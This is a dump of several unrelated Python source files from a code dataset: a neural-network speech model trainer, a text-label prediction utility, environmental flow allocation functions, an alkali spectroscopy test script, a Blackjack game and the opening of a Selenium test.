in range(int(test_samples)):\n\t\t\t\n\t\t\t#grab linear minibatch datavectors from databuffer:\n\t\t\ttestset_buffernum = testset_rand[buffernum * buffer_test: (buffernum * buffer_test)+buffer_test]\n\t\t\ttest_filenames_history = np.append(test_filenames_history,testset_buffernum)\n\t\t\t\n\t\t\t#create buffer:\n\t\t\tlabelbuffer, datavectorbuffer = Databuffer(buffer_test, framenum, testset_buffernum, path)\t\n\t\t\tbufferlength = len(labelbuffer)\n\t\t\t#~ print(\"buffernum: \"+str(buffernum))\n\t\t\t#~ print(\"bufferlength: \"+str(bufferlength))\n\t\t\t\n\t\t\t#get label to phoneme transcription:\n\t\t\tlabel_transcript = phonemeTranslator(labelbuffer, phoneme_labels)\n\t\t\t\n\t\t\t#get number of minibatches from buffer:\n\t\t\tminibatches = int(bufferlength/batsize_test)\n\t\t\t#~ print(\"number of minibatches: \"+str(minibatches))\n\t\t\t\n\t\t\t#init histories\n\t\t\ttest_softmax_utterance = np.empty(shape=[0,135],dtype=float)\n\t\t\t\n\t\t\t#minibatch loop per buffer:\n\t\t\tfor batch in range(minibatches):\n\t\t\t\t\n\t\t\t\t#grab minibatch datavectors from databuffer:\n\t\t\t\tdatavector = datavectorbuffer[batch * batsize_test: (batch * batsize_test)+batsize_test]\t\t\n\t\t\t\t#grab minibatch labels from labelbuffer:\t\t\n\t\t\t\tlabelvector = labelbuffer[batch * batsize_test: (batch * batsize_test)+batsize_test]\n\t\t\t\t\t\t\t\n\t\t\t\t#minibatch data:\n\t\t\t\ttestbatchdata = createMinibatchData(batsize_test, framenum, datavector)\n\t\t\t\t#minibatch labels: one hot encoding\n\t\t\t\ttestbatchlabel = createMinibatchLabel(batsize_test, classnum, labelvector)\n\t\t\t\t\n\t\t\t\t#start feeding data into the model:\n\t\t\t\tfeedtest = {x_input: testbatchdata, y_target: testbatchlabel}\n\t\t\t\tpredictions = accuracy.eval(feed_dict = feedtest)\n\t\t\t\ttest_acc_history = np.append(test_acc_history,predictions)\n\t\t\t\t\n\t\t\t\tif test_samples < 20:\n\t\t\t\t\t#get emissionprobs\n\t\t\t\t\tsoftmaxprobs = sess.run(softmax,feed_dict=feedtest)\n\t\t\t\t\ttest_softmax_utterance = np.append(test_softmax_utterance,softmaxprobs, axis=0)\n\t\t\t\n\t\t\tif test_samples < 20:\n\t\t\t\t#save emission-probs for each utterance\n\t\t\t\ttest_softmax_list.append(test_softmax_utterance)\n\t\t\t\t\n\t\t\t\t#translation to phonemes\n\t\t\t\ttestmax_loc = test_softmax_utterance.argmax(axis=1)\n\t\t\t\ttest_max_transcript = np.zeros_like(testmax_loc).astype(str)\n\t\t\t\tfor loc in range(len(testmax_loc)):\n\t\t\t\t\ttest_max_transcript[loc] = phoneme_labels[testmax_loc[loc]]\n\t\t\t\ttest_max_transcript_list.append(test_max_transcript)\n\t\t\t\tlabel_transcript_list.append(label_transcript)\n\t\t\t\tprint('=============================================')\n\t\t\t\tprint(\"test utterance: \" + str(buffernum+1))\n\t\t\t\tprint(\"label name: \" + testset_buffernum[0]+\"\\n\")\n\t\t\t\tprint(\"label_transcript: \")\n\t\t\t\tprint(str(label_transcript))\n\t\t\t\tprint('test_max_transcript: ')\n\t\t\t\tprint(str(test_max_transcript)+\"\\n\")\n\t\t\n\t\t\t#check progress: test accuracy\n\t\t\tif buffernum%10 == 0:\n\t\t\t\ttest_accuracy = accuracy.eval(feed_dict=feedtest)\t\t\t\n\t\t\t\tt2_2 = datetime.datetime.now()\n\t\t\t\tprint('test utterance: '+ str(buffernum*buffer_test)+'/'+str(test_size))\n\t\t\t\tprint('test accuracy: %.2f'% test_accuracy + \n\t\t\t\t\" -- test time: \" + str(t2_2-t2_1)[0:-7])\n\t\t\t\t\t\n\tprint('=============================================')\n\t# total test stats:\n\tprint('test utterance: '+ str(test_size)+'/'+str(test_size))\n\ttotal_testacc = np.mean(test_acc_history, axis=0)\n\tprint(\"overall test accuracy %.3f\"%total_testacc) \n\tt2_3 = datetime.datetime.now()\n\ttest_time = t2_3-t2_1\n\tprint(\"total test time: \" + str(test_time)[0:-7]+'\\n')\t\t\n\t\n\t# info to start tensorboard:\n\tprint('=============================================')\n\tprint(\"tensorboard\")\n\tprint('=============================================')\n\tprint(\"to start tensorboard via bash enter:\")\n\tprint(\"tensorboard --logdir \" + tboard_path + tboard_name)\n\tprint(\"open your Browser with:\\nlocalhost:6006\")\n\t\n\ttestparams_list = [test_acc_history, test_filenames_history, \n\t\t\t\t\t test_softmax_list, randomint_test]\n\t\n\treturn testparams_list, total_testacc, test_time, phoneme_labels,testset_rand\n\n########################################################################\n#start main: \n########################################################################\n\n#start training: \ntrain_acc_history, cost_history, crossval_history, train_time, total_trainacc = training(epochs,train_samples)\n#~ # start testing: full set\n#~ testparams_list, total_testacc, test_time, phoneme_labels = testing(testset_name, test_samples,batsize_test,buffer_test)\n#~ # start testing: emission probs\n#~ testparams_list2, total_testacc2, test_time2, phoneme_labels = testing(testset_name, test_samples2,batsize_test2,buffer_test2)\n\n#test digits only:\ntestparams_list, total_testacc, test_time, phoneme_labels,testset_rand = testing(testset_digits,test_samples3,batsize_test,buffer_test)\n# start testing: emission probs\ntestparams_list2, total_testacc2, test_time2, phoneme_labels,testset_rand2 = testing(testset_digits, test_samples2,batsize_test2,buffer_test2)\n\n\n########################################################################\n#plot settings:\n########################################################################\n\n#plot model summary:\nplot_model_sum = \"model_summary: \"+str(modtype)+\"_\"+str(modlayer)+\" hidden layer, \"+\\\n \" hidden units: \"+str(nodes)+\" ,\"+\" frame inputs: \"+\\\n str(framenum)+\" , bnorm: no, fft:257\\n\"+\\\n \"overall training accuracy %.3f\"%total_trainacc+\\\n \" , overall test accuracy %.3f\"%total_testacc+\" , \"+\\\n str(timemarker)\n \n#define storage path for model:\nmodel_path = path + \"02_SpeechMLP/pretrained_MLP/\"\nmodel_name = modtype + \"_\"+ str(modlayer)+ \"layer_pretrained_\"+ str(timemarker)+\"_\" + str(total_testacc)[0:-9]\nprint(\"Model saved to: \")\nprint(model_path + model_name)\n \n#init moving average:\nwintrain = 300\nwintest = 300\nwtrain_len = len(cost_history)\nif wtrain_len < 100000:\n\twintrain = 5\nwtest_len = len(testparams_list[0])\nif wtest_len < 10000:\n\twintest = 5\n\n#=======================================================================\n#plot training\n#=======================================================================\n\n#plot training loss function\nfig1 = plt.figure(1, figsize=(8,8))\nplt.figtext(.5,.95,plot_model_sum, fontsize=10, ha='center')\nplt.subplots_adjust(wspace=0.5,hspace=0.5)\nplt.subplot(211)\nplt.plot(range(len(cost_history)),cost_history, color='#1E90FF')\nplt.plot(np.convolve(cost_history, np.ones((wintrain,))/wintrain, mode='valid'), color='#97FFFF', alpha=1)\nplt.axis([0,len(cost_history),0,int(np.max(cost_history))+1])\nplt.title('Cross Entropy Training Loss')\nplt.xlabel('number of batches, batch size: '+ str(batsize_train))\nplt.ylabel('loss')\n\n#plot training accuracy function\nplt.subplot(212)\nplt.plot(range(len(train_acc_history)),train_acc_history, color='#20B2AA')\nplt.plot(np.convolve(train_acc_history, np.ones((wintrain,))/wintrain, mode='valid'), color='#7CFF95', alpha=1)\nplt.axis([0,len(cost_history),0,1])\nplt.title('Training Accuracy')\nplt.xlabel('number of batches, batch size:'+ str(batsize_train))\nplt.ylabel('accuracy percentage')\n\n#export figure\nimg = plt.savefig('imagetemp/'+model_name+\"_fig1\"+'.jpeg', bbox_inches='tight')\nim1 = pltim.imread('imagetemp/'+model_name+\"_fig1\"+'.jpeg')\n#pltim.imsave(\"imagetemp/out.png\", im1)\n\n#=======================================================================\n#plot testing\n#=======================================================================\n\n#plot validation loss function\nplt.figure(2, figsize=(8,8))\nplt.figtext(.5,.95,plot_model_sum, fontsize=10, ha='center')\nplt.subplots_adjust(wspace=0.5,hspace=0.5)\nplt.subplot(211)\nplt.plot(range(len(crossval_history)),crossval_history, color='#1E90FF')\nplt.plot(np.convolve(crossval_history, np.ones((wintrain,))/wintrain, mode='valid'), color='#87CEFA', alpha=1)\nplt.axis([0,len(crossval_history),0,int(np.max(crossval_history))+1])\nplt.title('Cross Validation Loss')\nplt.xlabel('number of validation checks')\nplt.ylabel('loss')\n\n#plot test accuracy function\nplt.subplot(212)\nplt.plot(range(len(testparams_list[0])),testparams_list[0], color='m')\nplt.plot(np.convolve(testparams_list[0], np.ones((wintest,))/wintest, mode='valid'), color='#F0D5E2', alpha=1)\nplt.axis([0,len(testparams_list[0]),0,1])\nplt.title('Test Accuracy')\nplt.xlabel('number of batches, batch size: '+ str(batsize_test))\nplt.ylabel('accuracy percentage')\n\n#export figure\nplt.savefig('imagetemp/'+model_name+\"_fig2\"+'.jpeg', bbox_inches='tight')\nim2 = pltim.imread('imagetemp/'+model_name+\"_fig2\"+'.jpeg')\n\n########################################################################\n#start export:\n########################################################################\n\nprint('=============================================')\nprint(\"start export\")\nprint('=============================================')\n\nprint(\"Model saved to: \")\nprint(model_path + model_name)\n\nW1 = np.array(sess.run(W1))\nW2 = np.array(sess.run(W2))\nW3 = np.array(sess.run(W3))\nW4 = np.array(sess.run(W4))\nW5 = np.array(sess.run(W5))\nW6 = np.array(sess.run(W6))\n \nb1 = np.array(sess.run(b1))\nb2 = np.array(sess.run(b2))\nb3 = np.array(sess.run(b3))\nb4 = np.array(sess.run(b4))\nb5 = np.array(sess.run(b5))\nb6 = np.array(sess.run(b6))\n\n \n#tensorflow method:-----------------------------------------------------\n#save_path = saver.save(sess, model_path + model_name+\".ckpt\" )\n#print(\"Model saved to file: %s\" % save_path)\n\n#~ #pickle method:---------------------------------------------------------\n#~ #create export lists:\n#~ modelweights = [W1, W2, W3, W4, W5, W6, b1, b2, b3, b4,b5, b6 ];\n#~ modellayout = [model_name,nodes,classnum,framenum,acttype,randomint];\n#~ trainingparams = [epochs, learnrate,batsize_train]\n#~ testparams = [batsize_test, testparams_list[3]]\n#~ history = [cost_history, train_acc_history, testparams_list[0]]\n#~ testhistory = [testparams_list[1], testparams_list[2]]\n#~ \n#~ #export trained model:\n#~ f = open(model_path + model_name, \"wb\")\n#~ pickle.dump(modelweights, f,protocol=2)\n#~ pickle.dump(modellayout, f,protocol=2)\n#~ pickle.dump(trainingparams, f,protocol=2)\n#~ pickle.dump(testparams, f,protocol=2)\n#~ pickle.dump(history, f,protocol=2)\n#~ pickle.dump(testhistory, f,protocol=2)\n#~ f.close()\n\n#.mat file method:------------------------------------------------------\n\n#create dict model\nmodel = {\"model_name\" : model_name}\n#modelweights\nmodel[\"W1\"] = W1\nmodel[\"W2\"] = W2\nmodel[\"W3\"] = W3\nmodel[\"W4\"] = W4\nmodel[\"W5\"] = W5\nmodel[\"W6\"] = W6\nmodel[\"b1\"] = b1\nmodel[\"b2\"] = b2\nmodel[\"b3\"] = b3\nmodel[\"b4\"] = b4\nmodel[\"b5\"] = b5\nmodel[\"b6\"] = b6\nmodel[\"acttype1\"] = acttype\nmodel[\"acttype2\"] = acttype\nmodel[\"acttype3\"] = acttype\nmodel[\"acttype4\"] = acttype\nmodel[\"acttype5\"] = acttype\n#modellayout\nmodel[\"hiddenlayer\"] = modlayer\nmodel[\"nodes\"] = nodes\nmodel[\"inputsize\"] = coeffs\nmodel[\"classnum\"] = classnum\nmodel[\"framenum\"] = framenum\nmodel[\"randomint\"] = randomint\nmodel[\"classification\"] = 'softmax'\nmodel[\"optimizer\"] = 'adam'\n#trainingparams\nmodel[\"epochs_pretrained\"] = 30\nmodel[\"epochs_newtrained\"] = epochs\nmodel[\"epochs\"] = 30+epochs\nmodel[\"learnrate\"] = learnrate\nmodel[\"batsize_train\"] = batsize_train\nmodel[\"total_trainacc\"] = total_trainacc\n#testparams\nmodel[\"batsize_test\"] = batsize_test\nmodel[\"randomint_test\"] = testparams_list[3]\nmodel[\"total_testacc\"] = total_testacc\n#history = [cost_history, train_acc_history, test_acc_history]\nmodel[\"cost_history\"] = cost_history\nmodel[\"train_acc_history\"] = train_acc_history\nmodel[\"test_acc_history\"] = testparams_list[0]\n\n#from testing: files and emission probs\nmodel[\"test_filenames_history\"] = testset_rand\nmodel[\"test_emissionprobs_names_history\"] = testparams_list2[1]\nmodel[\"test_softmax_list\"] = testparams_list2[2]\nmodel[\"batch_norm\"] = bnorm\nmodel[\"phoneme_labels\"] = phoneme_labels\n#modelw[\"label_transcript_list\"] = label_transcript_list\n#modelw[\"test_max_transcript_list\"] = test_max_transcript_list\n\n#save plot figures\nmodel[\"fig_trainplot\"] = im1\nmodel[\"fig_testplot\"] = im2\n\nscipy.io.savemat(model_path + model_name,model)\n\nprint('=============================================')\nprint(\"export finished\")\nprint('=============================================')\nprint(\" \"+\"\\n\")\n\n#print out model summary:\nprint('=============================================')\nprint(\"model summary\")\nprint('=============================================')\nprint(\"*******************************************\")\nprint(\"model: \"+ str(modtype)+\"_\"+ str(modlayer)+\" hidden layer\")\nprint(\"*******************************************\")\nprint(\"hidden units: \"+str(nodes)+\" each layer\")\nprint(\"frame inputs: \"+str(framenum))\nprint(\"activation function: \"+str(acttype))\nprint(\"optimizer: Adam\")\nprint(\"-------------------------------------------\")\nprint(\"data name: Bavarian Speech Corpus\")\nprint(\"training data: \" +str(train_size))\nprint(\"validation data: \" +str(val_size))\nprint(\"test data: \" +str(test_size))\nprint(\"-------------------------------------------\")\nprint(str(modtype)+' training:')\nprint(\"total training time: \" + str(train_time)[0:-7])\nprint(\"overall training accuracy %.3f\"%total_trainacc ) \nprint(\"-------------------------------------------\")\nprint(str(modtype)+' testing:')\nprint(\"total test time: \" + str(test_time)[0:-7])\t\nprint(\"overall test accuracy %.3f\"%total_testacc) \nprint(\"*******************************************\")\n\n\n#plot show options:----------------------------------------------------------\n#plt.show()\n#plt.hold(False)\n#plt.close()\n\n\n\n\n","sub_path":"MLP_5hidlayer_pretrained_4.py","file_name":"MLP_5hidlayer_pretrained_4.py","file_ext":"py","file_size_in_byte":32859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"524349770","text":"\r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\nfrom joblib import load\r\nfrom bs4 import BeautifulSoup\r\nfrom nltk import download\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem import WordNetLemmatizer\r\ndownload('stopwords')\r\ndownload('wordnet')\r\nfrom flask import flash\r\n\r\ndef init_obj():\r\n \"\"\"\r\n Récupération des objets Python avec joblib\r\n \"\"\"\r\n # répertoire joblib\r\n folder = './joblib_memmap'\r\n # Objets\r\n data_filename_memmap = os.path.join(folder, 'worddict_memmap')\r\n wordDict = load(data_filename_memmap, mmap_mode='r')\r\n data_filename_memmap = os.path.join(folder, 'vector_memmap')\r\n vectorizer = load(data_filename_memmap, mmap_mode='r')\r\n data_filename_memmap = os.path.join(folder, 'tokeniz_memmap')\r\n tokenizer = load(data_filename_memmap, mmap_mode='r')\r\n data_filename_memmap = os.path.join(folder, 'tfidf_memmap')\r\n tfidf_transformer = load(data_filename_memmap, mmap_mode='r')\r\n data_filename_memmap = os.path.join(folder, 'svc_memmap')\r\n gs_svc = load(data_filename_memmap, mmap_mode='r')\r\n data_filename_memmap = os.path.join(folder, 'labels_memmap')\r\n label_names = load(data_filename_memmap, mmap_mode='r')\r\n\r\n return wordDict, vectorizer, tokenizer, tfidf_transformer, gs_svc, label_names\r\n\r\ndef word_replace(text, wd):\r\n \"\"\"\r\n Replace words found in Worddict\r\n \"\"\"\r\n for key in wd:\r\n text = text.replace(key, wd[key])\r\n return text\r\n\r\n\r\ndef tokenize_body(body_full, tokenizer):\r\n \"\"\"\r\n Tokenisation du post avec lemmatisation et suppression des stopwords\r\n \"\"\"\r\n wordnet_lemmatizer = WordNetLemmatizer()\r\n sw = stopwords.words('english')\r\n list_a = tokenizer.tokenize(body_full)\r\n token_list = [wordnet_lemmatizer.lemmatize(word) for word in list_a if (word not in sw and not word.isdigit())]\r\n return \" \".join(token_list)\r\n\r\ndef preprocess_api(X, wd, tokenizer, vectorizer):\r\n \"\"\"\r\n Préprocessing des posts\r\n \"\"\"\r\n X['Body'] = X['Title'] + ' ' + X['Body']\r\n X['Body'] = X['Body'].apply(lambda x: BeautifulSoup(x, 'html.parser').text)\r\n X['Body'] = X['Body'].apply(lambda x: x.lower())\r\n X['Body'] = X['Body'].apply(lambda x: word_replace(x, wd))\r\n X['Body'] = X['Body'].apply(lambda x: tokenize_body(x, tokenizer))\r\n\r\n X_count = vectorizer.transform(X['Body'])\r\n X_preprocessed = X_count.toarray()\r\n return X_preprocessed\r\n\r\ndef label_pred(form):\r\n \"\"\"\r\n Prédiction des labels\r\n \"\"\"\r\n # On récupère les champs renseignés\r\n title = form.title_raw.data\r\n body = form.body_raw.data\r\n X = pd.DataFrame(np.array([[title, body]]), columns = ['Title', 'Body'])\r\n # Chargement des objets Python\r\n wordDict, vectorizer, tokenizer, tfidf_transformer, gs_svc, label_names = init_obj()\r\n # Preprocessing\r\n X_preproc = preprocess_api(X, wordDict, tokenizer, vectorizer)\r\n X_tfidf = tfidf_transformer.transform(X_preproc).toarray()\r\n # Prédiction\r\n y_pred = []\r\n try:\r\n y_pred_idx = gs_svc.predict(X_tfidf)[0]\r\n # y_pred = y_pred_idx\r\n for index in range(len(y_pred_idx)):\r\n if y_pred_idx[index] == 1:\r\n y_pred.append(label_names[index])\r\n except:\r\n y_pred = None\r\n return y_pred\r\n","sub_path":"P6_Categorisez automatiquement des questions/4-API_P6/label_app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"456220683","text":"# allocation.py (flowsa)\n# !/usr/bin/env python3\n# coding=utf-8\n\n\"\"\"\nMethods of allocating datasets\n\"\"\"\nimport pandas as pd\nfrom flowsa import log\nfrom flowsa.common import fbs_activity_fields\nfrom flowsa.dataclean import replace_NoneType_with_empty_cells, replace_strings_with_NoneType\nfrom flowsa.flowbyfunctions import sector_aggregation, sector_disaggregation\n\n\ndef allocate_by_sector(df_w_sectors, allocation_method, group_cols, **kwargs):\n \"\"\"\n Create an allocation ratio for df\n :param df_w_sectors: df with column of sectors\n :param allocation_method: currently written for 'proportional' and 'proportional-flagged'\n :param group_cols: columns on which to base aggregation and disaggregation\n :return: df with FlowAmountRatio for each sector\n \"\"\"\n\n # first determine if there is a special case with how the allocation ratios are created\n if allocation_method == 'proportional-flagged':\n # if the allocation method is flagged, subset sectors that are\n # flagged/notflagged, where nonflagged sectors have flowamountratio=1\n if kwargs != {}:\n if 'flowSubsetMapped' in kwargs:\n fsm = kwargs['flowSubsetMapped']\n flagged = fsm[fsm['disaggregate_flag'] == 1]\n if flagged['SectorProducedBy'].isna().all():\n sector_col = 'SectorConsumedBy'\n else:\n sector_col = 'SectorProducedBy'\n flagged_names = flagged[sector_col].tolist()\n\n nonflagged = fsm[fsm['disaggregate_flag'] == 0]\n nonflagged_names = nonflagged[sector_col].tolist()\n\n # subset the original df so rows of data that run through the\n # proportional allocation process are\n # sectors included in the flagged list\n df_w_sectors_nonflagged = df_w_sectors.loc[\n (df_w_sectors[fbs_activity_fields[0]].isin(nonflagged_names)) |\n (df_w_sectors[fbs_activity_fields[1]].isin(nonflagged_names))\n ].reset_index(drop=True)\n df_w_sectors_nonflagged = df_w_sectors_nonflagged.assign(FlowAmountRatio=1)\n\n df_w_sectors = \\\n df_w_sectors.loc[(df_w_sectors[fbs_activity_fields[0]].isin(flagged_names)) |\n (df_w_sectors[fbs_activity_fields[1]].isin(flagged_names))\n ].reset_index(drop=True)\n else:\n log.error('The proportional-flagged allocation method requires a'\n 'column \"disaggregate_flag\" in the flow_subset_mapped df')\n\n # run sector aggregation fxn to determine total flowamount for each level of sector\n if len(df_w_sectors) == 0:\n allocation_df = df_w_sectors_nonflagged.copy()\n else:\n df1 = sector_aggregation(df_w_sectors, group_cols)\n # run sector disaggregation to capture one-to-one naics4/5/6 relationships\n df2 = sector_disaggregation(df1)\n\n # if statements for method of allocation\n # either 'proportional' or 'proportional-flagged'\n allocation_df = []\n if allocation_method in ('proportional', 'proportional-flagged'):\n allocation_df = proportional_allocation_by_location(df2)\n else:\n log.error('Must create function for specified method of allocation')\n\n if allocation_method == 'proportional-flagged':\n # drop rows where values are not in flagged names\n allocation_df =\\\n allocation_df.loc[(allocation_df[fbs_activity_fields[0]].isin(flagged_names)) |\n (allocation_df[fbs_activity_fields[1]].isin(flagged_names)\n )].reset_index(drop=True)\n # concat the flagged and nonflagged dfs\n allocation_df = \\\n pd.concat([allocation_df, df_w_sectors_nonflagged],\n ignore_index=True).sort_values(['SectorProducedBy', 'SectorConsumedBy'])\n\n return allocation_df\n\n\ndef proportional_allocation_by_location(df):\n \"\"\"\n Creates a proportional allocation based on all the most\n aggregated sectors within a location\n Ensure that sectors are at 2 digit level - can run sector_aggregation()\n prior to using this function\n :param df: df, includes sector columns\n :param sectorcolumn: str, sector column by which to base allocation\n :return: df, with 'FlowAmountRatio' column\n \"\"\"\n\n # tmp drop NoneType\n df = replace_NoneType_with_empty_cells(df)\n\n # find the shortest length sector\n\n denom_df = df.loc[(df['SectorProducedBy'].apply(lambda x: len(x) == 2)) |\n (df['SectorConsumedBy'].apply(lambda x: len(x) == 2))]\n denom_df = denom_df.assign(Denominator=denom_df['FlowAmount'].groupby(\n denom_df['Location']).transform('sum'))\n denom_df_2 = denom_df[['Location', 'LocationSystem', 'Year', 'Denominator']].drop_duplicates()\n # merge the denominator column with fba_w_sector df\n allocation_df = df.merge(denom_df_2, how='left')\n # calculate ratio\n allocation_df.loc[:, 'FlowAmountRatio'] = allocation_df['FlowAmount'] / allocation_df[\n 'Denominator']\n allocation_df = allocation_df.drop(columns=['Denominator']).reset_index()\n\n # add nonetypes\n allocation_df = replace_strings_with_NoneType(allocation_df)\n\n return allocation_df\n\n\ndef proportional_allocation_by_location_and_activity(df, sectorcolumn):\n \"\"\"\n Creates a proportional allocation within each aggregated sector within a location\n :param df: df with sector columns\n :param sectorcolumn: str, sector column for which to create allocation ratios\n :return: df, with 'FlowAmountRatio' and 'HelperFlow' columns\n \"\"\"\n\n # tmp replace NoneTypes with empty cells\n df = replace_NoneType_with_empty_cells(df)\n\n # denominator summed from highest level of sector grouped by location\n short_length = min(df[sectorcolumn].apply(lambda x: len(str(x))).unique())\n # want to create denominator based on short_length\n denom_df = df.loc[df[sectorcolumn].apply(lambda x: len(x) ==\n short_length)].reset_index(drop=True)\n grouping_cols = [e for e in ['FlowName', 'Location', 'Activity',\n 'ActivityConsumedBy', 'ActivityProducedBy']\n if e in denom_df.columns.values.tolist()]\n denom_df.loc[:, 'Denominator'] = denom_df.groupby(grouping_cols)['HelperFlow'].transform('sum')\n\n # list of column headers, that if exist in df, should be aggregated using the weighted avg fxn\n possible_column_headers = ('Location', 'LocationSystem', 'Year',\n 'Activity', 'ActivityConsumedBy', 'ActivityProducedBy')\n # list of column headers that do exist in the df being aggregated\n column_headers = [e for e in possible_column_headers if e in denom_df.columns.values.tolist()]\n merge_headers = column_headers.copy()\n column_headers.append('Denominator')\n # create subset of denominator values based on Locations and Activities\n denom_df_2 = denom_df[column_headers].drop_duplicates().reset_index(drop=True)\n # merge the denominator column with fba_w_sector df\n allocation_df = df.merge(denom_df_2,\n how='left',\n left_on=merge_headers,\n right_on=merge_headers)\n # calculate ratio\n allocation_df.loc[:, 'FlowAmountRatio'] = \\\n allocation_df['HelperFlow'] / allocation_df['Denominator']\n allocation_df = allocation_df.drop(columns=['Denominator']).reset_index(drop=True)\n\n # fill empty cols with NoneType\n allocation_df = replace_strings_with_NoneType(allocation_df)\n # fill na values with 0\n allocation_df['HelperFlow'] = allocation_df['HelperFlow'].fillna(0)\n\n return allocation_df\n","sub_path":"flowsa/allocation.py","file_name":"allocation.py","file_ext":"py","file_size_in_byte":7920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448490228","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 2 14:18:44 2018\n\n@author: mhayman\n\nCode to test the new D1 spectrum calculations. This code allows us\nto generalize the calculations across Alkali metals\n\nThis shows how the SpectrumLib functions for Alkali metals can be used\n\nThe definitions for metals can be easily defined using json files or by\npickling.\n\"\"\"\n\nimport numpy as np\n\nimport LidarProfileFunctions as lp\nimport SpectrumLib as spec\n\nimport matplotlib.pyplot as plt\n\n# temperature of sample\nT = 308\n\n# load the definitions for the desired metal\n# The Rb D2 and K D1 transitions are already defined in the library\n# but K is still lacking pressure broadening and lineshift sensitivity\n\n# Rb D2\n#transition = spec.RbD2defs\n#iso_list = ['85','87']\n\n# K D1\ntransition = spec.KD1defs\niso_list = ['39','40','41']\n\n# verify vapor proessure calcuation\npvap = spec.VaporPressureD(transition,T)\n\n# define the frequency grid space, centering it on the transition frequency\nnu = np.linspace(-5e9,5e9,300)+lp.c/transition['wavelength']\n\n\n### One step fucntion to obtain the absorption coefficient ###\n# obtain the absorption coefficient spectrum\nspec_lib = spec.SpectrumDline(transition,T,nu,0)\n\n# plot each hyperfine contribution to the spectrum\n# then plot the total absorption coefficient\ntitlestr = ''\nKtot = np.zeros(nu.size)\nplt.figure()\nfor plt_iso in iso_list:\n if len(titlestr) == 0:\n titlestr=transition['name']+plt_iso\n else:\n titlestr+=', '+transition['name']+plt_iso\n for t in spec_lib[plt_iso]['transitions'].keys():\n plt.plot((nu-lp.c/transition['wavelength'])*1e-9,spec_lib[plt_iso]['abundance']*spec_lib[plt_iso]['transitions'][t],label='K'+plt_iso+' ['+t+']')\n Ktot+=spec_lib[plt_iso]['abundance']*spec_lib[plt_iso]['transitions'][t]\nplt.plot((nu-lp.c/transition['wavelength'])*1e-9,Ktot,'k',label='Total')\n#plt.ylim([0,1.6e-7])\nplt.legend()\nplt.grid(b=True)\nplt.title(titlestr+' '+'(%d K)'%T)\nplt.ylabel('Absorption Coefficient [$m^{-1}$]')\nplt.xlabel('Relative Frequency at %f nm [$GHz$]'%(transition['wavelength']*1e9))\n\n\n### One step fucntion to obtain the cell transmission ###\n# calculate transmission for a sample cell \nLcell = 7.2e-2 # sample cell path length in meters\nTcell = spec.CellTransmission(nu,T,0,Lcell,transition,iso=iso_list) # cell transmission\n\n# if this analysis is for rubidium D2, compare the results to the \n# old Rb D2 spectroscopy functions to make sure they agree\nif transition['name'] == 'Rb' and transition['transition name'] == 'D2':\n RbSpec = spec.RubidiumD2Spectra(T,nu,0)\n TcellRb = spec.RubidiumCellTransmission(nu,T,0,Lcell)\n\nplt.figure()\nplt.semilogy((nu-lp.c/transition['wavelength'])*1e-9,Tcell,label='alkali D function')\nif transition['name'] == 'Rb' and transition['transition name'] == 'D2':\n plt.semilogy((nu-lp.c/transition['wavelength'])*1e-9,TcellRb,'--',label='Rb only function')\nplt.ylabel('Transmission')\nplt.xlabel('Relative Frequency at %f nm [$GHz$]'%(transition['wavelength']*1e9))\nplt.grid(b=True)\nplt.title(transition['name']+' (%d K)'%T)\nplt.legend()\n\n","sub_path":"example_scripts/TestSpectrumLib_D1calculator.py","file_name":"TestSpectrumLib_D1calculator.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"515690828","text":"import random\n\n\ndef deal_card():\n cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n card = random.choice(cards)\n return card\n\n\ndef calculate_score(cards):\n if sum(cards) == 21 and len(cards) == 2:\n return 0\n if 11 in cards and sum(cards) > 21:\n cards.remove(11)\n cards.append(1)\n return sum(cards)\n\n\ndef compare(person_score, comp_score):\n \"\"\"to compare the computer score and person score\"\"\"\n if person_score > 21 and comp_score > 21:\n return \"You went over. You lose\"\n\n if person_score == comp_score:\n return \"EQUAL\"\n elif comp_score == 0:\n return \"you lose, opponent win\"\n elif person_score == 0:\n return \"You Win\"\n elif person_score > 21:\n return \"you crossed the total, you lose.\"\n elif comp_score > 21:\n return \"opposite player won\"\n elif person_score > comp_score:\n return \"you win\"\n else:\n return \"you lose\"\n\n\ndef play_again():\n comp_score = 0\n person_score = 0\n person_cards = []\n computer_cards = []\n game_ends = False\n\n for _ in range(2):\n new_card = deal_card()\n person_cards.append(new_card)\n computer_cards.append(new_card)\n\n while not game_ends:\n\n person_score = calculate_score(person_cards)\n print(f\"person cards{person_cards}, person_score{person_score}\")\n comp_score = calculate_score(computer_cards)\n print(f\"computer cards {computer_cards [0]}\")\n\n if person_score == 0 or comp_score == 0 or person_score > 21:\n game_ends = True\n else:\n person_draw_card = input(\"do you want another card 'y' or 'no'?\")\n if person_draw_card == \"y\":\n person_cards.append(deal_card())\n else:\n game_ends = True\n\n while comp_score != 0 and comp_score < 17:\n computer_cards.append(deal_card())\n comp_score = calculate_score(computer_cards)\n\n print(f\" person final card{person_cards}, final score{person_score}\")\n print(f\" computer final card{computer_cards}, final score{comp_score}\")\n print(compare(person_score, comp_score))\n\n\nwhile input(\"Do you want to play a game of Blackjack? Type 'y' or 'n': \") == \"y\":\n play_again()","sub_path":"code_11.py","file_name":"code_11.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"648851949","text":"# -*- coding: utf-8 -*-\r\n\r\nimport unittest\r\nimport time\r\nfrom Settingsfields_File import Settingsfields_File , timet, BoPlazaUrl\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.common.exceptions import NoAlertPresentException\r\n \r\n \r\nclass BOPlaza_LiquidacionParcial(unittest.TestCase): \r\n \r\n \r\n def setUp(self):\r\n self.settings = Settingsfields_File()\r\n self.settings.setUp()\r\n \r\n def test(self): 